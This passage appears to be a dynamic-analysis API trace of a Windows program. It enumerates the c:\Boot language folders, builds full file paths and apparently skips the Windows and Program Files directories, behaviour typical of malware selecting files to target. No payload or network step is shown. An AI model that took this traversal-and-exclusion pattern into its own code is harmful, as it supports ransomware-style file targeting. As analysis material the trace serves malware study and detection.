0 [0118.084] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.084] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.084] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.084] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.084] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.084] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.084] lstrlenW (lpString="c:\\Boot\\nb-NO\\") returned 14 [0118.084] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\nb-NO\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0118.084] lstrlenW (lpString="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 29 [0118.084] lstrcpyW (in: lpString1=0x5b2e40, lpString2="c:\\Boot\\nb-NO\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nb-NO\\bootmgr.exe.mui") returned="c:\\Boot\\nb-NO\\bootmgr.exe.mui" [0118.084] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.084] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.084] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.084] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0118.084] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0118.084] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.084] lstrlenW (lpString="nl-NL") returned 5 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="nl-NL" | out: lpString1="c:\\Boot\\nl-NL") returned="c:\\Boot\\nl-NL" [0118.084] lstrcatW (in: lpString1="c:\\Boot\\nl-NL", lpString2="\\" | out: lpString1="c:\\Boot\\nl-NL\\") returned="c:\\Boot\\nl-NL\\" [0118.084] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0118.084] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="*" | out: lpString1="c:\\Boot\\nl-NL\\*") returned="c:\\Boot\\nl-NL\\*" [0118.084] FindFirstFileW (in: lpFileName="c:\\Boot\\nl-NL\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.130] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.130] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.130] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.130] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.130] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.130] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.130] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.130] lstrlenW (lpString="c:\\Boot\\nl-NL\\") returned 14 [0118.130] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.130] lstrcatW (in: lpString1="c:\\Boot\\nl-NL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0118.130] lstrlenW (lpString="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0118.130] lstrcpyW (in: lpString1=0x5b2e88, lpString2="c:\\Boot\\nl-NL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\nl-NL\\bootmgr.exe.mui") returned="c:\\Boot\\nl-NL\\bootmgr.exe.mui" [0118.130] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.130] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.130] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.130] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0118.130] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0118.130] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.130] lstrlenW (lpString="pl-PL") returned 5 [0118.130] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pl-PL" | out: lpString1="c:\\Boot\\pl-PL") returned="c:\\Boot\\pl-PL" [0118.130] lstrcatW (in: lpString1="c:\\Boot\\pl-PL", lpString2="\\" | out: lpString1="c:\\Boot\\pl-PL\\") returned="c:\\Boot\\pl-PL\\" [0118.130] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0118.130] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="*" | out: lpString1="c:\\Boot\\pl-PL\\*") returned="c:\\Boot\\pl-PL\\*" [0118.130] FindFirstFileW (in: lpFileName="c:\\Boot\\pl-PL\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.131] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.131] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.131] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.131] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.131] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.131] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.131] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.131] lstrlenW (lpString="c:\\Boot\\pl-PL\\") returned 14 [0118.131] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.131] lstrcatW (in: lpString1="c:\\Boot\\pl-PL\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0118.131] lstrlenW (lpString="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0118.131] lstrcpyW (in: lpString1=0x5b2ed0, lpString2="c:\\Boot\\pl-PL\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pl-PL\\bootmgr.exe.mui") returned="c:\\Boot\\pl-PL\\bootmgr.exe.mui" [0118.131] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.131] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.131] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.131] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0118.131] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0118.131] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.131] lstrlenW (lpString="pt-BR") returned 5 [0118.131] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-BR" | out: lpString1="c:\\Boot\\pt-BR") returned="c:\\Boot\\pt-BR" [0118.131] lstrcatW (in: lpString1="c:\\Boot\\pt-BR", lpString2="\\" | out: lpString1="c:\\Boot\\pt-BR\\") returned="c:\\Boot\\pt-BR\\" [0118.131] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0118.131] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-BR\\*") returned="c:\\Boot\\pt-BR\\*" [0118.131] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-BR\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.176] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.176] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.176] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.177] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.177] lstrlenW (lpString="c:\\Boot\\pt-BR\\") returned 14 [0118.177] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.177] lstrcatW (in: lpString1="c:\\Boot\\pt-BR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0118.177] lstrlenW (lpString="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0118.177] lstrcpyW (in: lpString1=0x5b2f18, lpString2="c:\\Boot\\pt-BR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-BR\\bootmgr.exe.mui") returned="c:\\Boot\\pt-BR\\bootmgr.exe.mui" [0118.177] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.177] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.177] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1 [0118.177] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1 [0118.177] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.177] lstrlenW (lpString="pt-PT") returned 5 [0118.177] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="pt-PT" | out: lpString1="c:\\Boot\\pt-PT") returned="c:\\Boot\\pt-PT" [0118.177] lstrcatW (in: lpString1="c:\\Boot\\pt-PT", lpString2="\\" | out: lpString1="c:\\Boot\\pt-PT\\") returned="c:\\Boot\\pt-PT\\" [0118.177] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0118.177] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="*" | out: lpString1="c:\\Boot\\pt-PT\\*") returned="c:\\Boot\\pt-PT\\*" [0118.177] FindFirstFileW (in: lpFileName="c:\\Boot\\pt-PT\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.177] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.177] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.177] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.177] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.177] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.177] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.177] lstrlenW (lpString="c:\\Boot\\pt-PT\\") returned 14 [0118.177] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.177] lstrcatW (in: lpString1="c:\\Boot\\pt-PT\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0118.177] lstrlenW (lpString="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0118.178] lstrcpyW (in: lpString1=0x5bd7c8, lpString2="c:\\Boot\\pt-PT\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\pt-PT\\bootmgr.exe.mui") returned="c:\\Boot\\pt-PT\\bootmgr.exe.mui" [0118.178] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.178] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.178] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.178] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1 [0118.178] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1 [0118.178] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.178] lstrlenW (lpString="ru-RU") returned 5 [0118.178] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="ru-RU" | out: lpString1="c:\\Boot\\ru-RU") returned="c:\\Boot\\ru-RU" [0118.178] lstrcatW (in: lpString1="c:\\Boot\\ru-RU", lpString2="\\" | out: lpString1="c:\\Boot\\ru-RU\\") returned="c:\\Boot\\ru-RU\\" [0118.178] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0118.178] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="*" | out: lpString1="c:\\Boot\\ru-RU\\*") returned="c:\\Boot\\ru-RU\\*" [0118.178] FindFirstFileW (in: lpFileName="c:\\Boot\\ru-RU\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.225] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.225] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.225] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.225] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.225] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.225] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.225] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.225] lstrlenW (lpString="c:\\Boot\\ru-RU\\") returned 14 [0118.225] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.225] lstrcatW (in: lpString1="c:\\Boot\\ru-RU\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0118.225] lstrlenW (lpString="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0118.225] lstrcpyW (in: lpString1=0x5bd828, lpString2="c:\\Boot\\ru-RU\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\ru-RU\\bootmgr.exe.mui") returned="c:\\Boot\\ru-RU\\bootmgr.exe.mui" [0118.225] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.225] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.225] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.225] lstrcmpW (lpString1="sv-SE", lpString2=".") returned 1 [0118.225] lstrcmpW (lpString1="sv-SE", lpString2="..") returned 1 [0118.225] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.225] lstrlenW (lpString="sv-SE") returned 5 [0118.225] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="sv-SE" | out: lpString1="c:\\Boot\\sv-SE") returned="c:\\Boot\\sv-SE" [0118.225] lstrcatW (in: lpString1="c:\\Boot\\sv-SE", lpString2="\\" | out: lpString1="c:\\Boot\\sv-SE\\") returned="c:\\Boot\\sv-SE\\" [0118.225] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0118.225] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="*" | out: lpString1="c:\\Boot\\sv-SE\\*") returned="c:\\Boot\\sv-SE\\*" [0118.225] FindFirstFileW (in: lpFileName="c:\\Boot\\sv-SE\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.226] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.226] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.226] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.226] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.226] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.226] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.226] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.226] lstrlenW (lpString="c:\\Boot\\sv-SE\\") returned 14 [0118.226] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.226] lstrcatW (in: lpString1="c:\\Boot\\sv-SE\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0118.226] lstrlenW (lpString="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned 29 [0118.226] lstrcpyW (in: lpString1=0x5bd870, lpString2="c:\\Boot\\sv-SE\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\sv-SE\\bootmgr.exe.mui") returned="c:\\Boot\\sv-SE\\bootmgr.exe.mui" [0118.226] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.226] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.226] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.226] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0118.226] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0118.226] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.226] lstrlenW (lpString="tr-TR") returned 5 [0118.226] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="tr-TR" | out: lpString1="c:\\Boot\\tr-TR") returned="c:\\Boot\\tr-TR" [0118.226] lstrcatW (in: lpString1="c:\\Boot\\tr-TR", lpString2="\\" | out: lpString1="c:\\Boot\\tr-TR\\") returned="c:\\Boot\\tr-TR\\" [0118.226] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0118.226] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="*" | out: lpString1="c:\\Boot\\tr-TR\\*") returned="c:\\Boot\\tr-TR\\*" [0118.226] FindFirstFileW (in: lpFileName="c:\\Boot\\tr-TR\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.270] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.270] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.270] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.270] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.270] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.270] lstrlenW (lpString="c:\\Boot\\tr-TR\\") returned 14 [0118.270] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.270] lstrcatW (in: lpString1="c:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0118.270] lstrlenW (lpString="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned 29 [0118.270] lstrcpyW (in: lpString1=0x5bd8b8, lpString2="c:\\Boot\\tr-TR\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="c:\\Boot\\tr-TR\\bootmgr.exe.mui" [0118.270] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.270] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.271] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.271] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0118.271] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0118.271] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.271] lstrlenW (lpString="zh-CN") returned 5 [0118.271] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-CN" | out: lpString1="c:\\Boot\\zh-CN") returned="c:\\Boot\\zh-CN" [0118.271] lstrcatW (in: lpString1="c:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="c:\\Boot\\zh-CN\\") returned="c:\\Boot\\zh-CN\\" [0118.271] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0118.271] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-CN\\*") returned="c:\\Boot\\zh-CN\\*" [0118.271] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-CN\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.271] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.271] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.271] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.271] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.271] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.271] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.271] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.271] lstrlenW (lpString="c:\\Boot\\zh-CN\\") returned 14 [0118.271] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.271] lstrcatW (in: lpString1="c:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0118.271] lstrlenW (lpString="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0118.271] lstrcpyW (in: lpString1=0x5bd900, lpString2="c:\\Boot\\zh-CN\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="c:\\Boot\\zh-CN\\bootmgr.exe.mui" [0118.271] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.271] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.271] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.271] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0118.271] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0118.271] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.271] lstrlenW (lpString="zh-HK") returned 5 [0118.271] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-HK" | out: lpString1="c:\\Boot\\zh-HK") returned="c:\\Boot\\zh-HK" [0118.271] lstrcatW (in: lpString1="c:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="c:\\Boot\\zh-HK\\") returned="c:\\Boot\\zh-HK\\" [0118.271] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0118.271] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-HK\\*") returned="c:\\Boot\\zh-HK\\*" [0118.271] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-HK\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.318] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.318] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.318] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.318] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.318] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.318] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.318] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.318] lstrlenW (lpString="c:\\Boot\\zh-HK\\") returned 14 [0118.318] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.318] lstrcatW (in: lpString1="c:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0118.318] lstrlenW (lpString="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0118.318] lstrcpyW (in: lpString1=0x5bd948, lpString2="c:\\Boot\\zh-HK\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="c:\\Boot\\zh-HK\\bootmgr.exe.mui" [0118.318] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.318] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.318] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0118.318] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1 [0118.318] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1 [0118.318] lstrlenW (lpString="c:\\Boot\\") returned 8 [0118.318] lstrlenW (lpString="zh-TW") returned 5 [0118.318] lstrcatW (in: lpString1="c:\\Boot\\", lpString2="zh-TW" | out: lpString1="c:\\Boot\\zh-TW") returned="c:\\Boot\\zh-TW" [0118.318] lstrcatW (in: lpString1="c:\\Boot\\zh-TW", lpString2="\\" | out: lpString1="c:\\Boot\\zh-TW\\") returned="c:\\Boot\\zh-TW\\" [0118.318] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0118.318] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="*" | out: lpString1="c:\\Boot\\zh-TW\\*") returned="c:\\Boot\\zh-TW\\*" [0118.318] FindFirstFileW (in: lpFileName="c:\\Boot\\zh-TW\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0118.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0118.319] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.319] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0118.319] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0118.319] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0118.319] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0118.319] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0118.319] lstrlenW (lpString="c:\\Boot\\zh-TW\\") returned 14 [0118.319] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0118.319] lstrcatW (in: lpString1="c:\\Boot\\zh-TW\\", lpString2="bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0118.319] lstrlenW (lpString="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0118.319] lstrcpyW (in: lpString1=0x5bd990, lpString2="c:\\Boot\\zh-TW\\bootmgr.exe.mui" | out: lpString1="c:\\Boot\\zh-TW\\bootmgr.exe.mui") returned="c:\\Boot\\zh-TW\\bootmgr.exe.mui" [0118.319] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0118.319] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0118.319] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 0 [0118.319] FindClose (in: hFindFile=0x8256e0 | out: hFindFile=0x8256e0) returned 1 [0118.319] FindNextFileW (in: hFindFile=0x8256a0, lpFindFileData=0x34f5c4 | out: lpFindFileData=0x34f5c4) returned 1 [0118.319] lstrcmpW (lpString1="bootmgr", lpString2=".") returned 1 [0118.319] lstrcmpW (lpString1="bootmgr", lpString2="..") returned 1 [0118.319] lstrcmpW (lpString1="bootmgr", lpString2="Windows") returned -1 [0118.319] lstrcmpW (lpString1="bootmgr", lpString2="Program Files") returned -1 [0118.319] lstrlenW (lpString="c:\\") returned 3 [0118.319] lstrlenW (lpString="bootmgr") returned 7 [0118.319] lstrcatW (in: lpString1="c:\\", lpString2="bootmgr" | out: lpString1="c:\\bootmgr") returned="c:\\bootmgr" [0118.319] lstrlenW (lpString="c:\\bootmgr") returned 10 [0118.319] lstrcpyW (in: 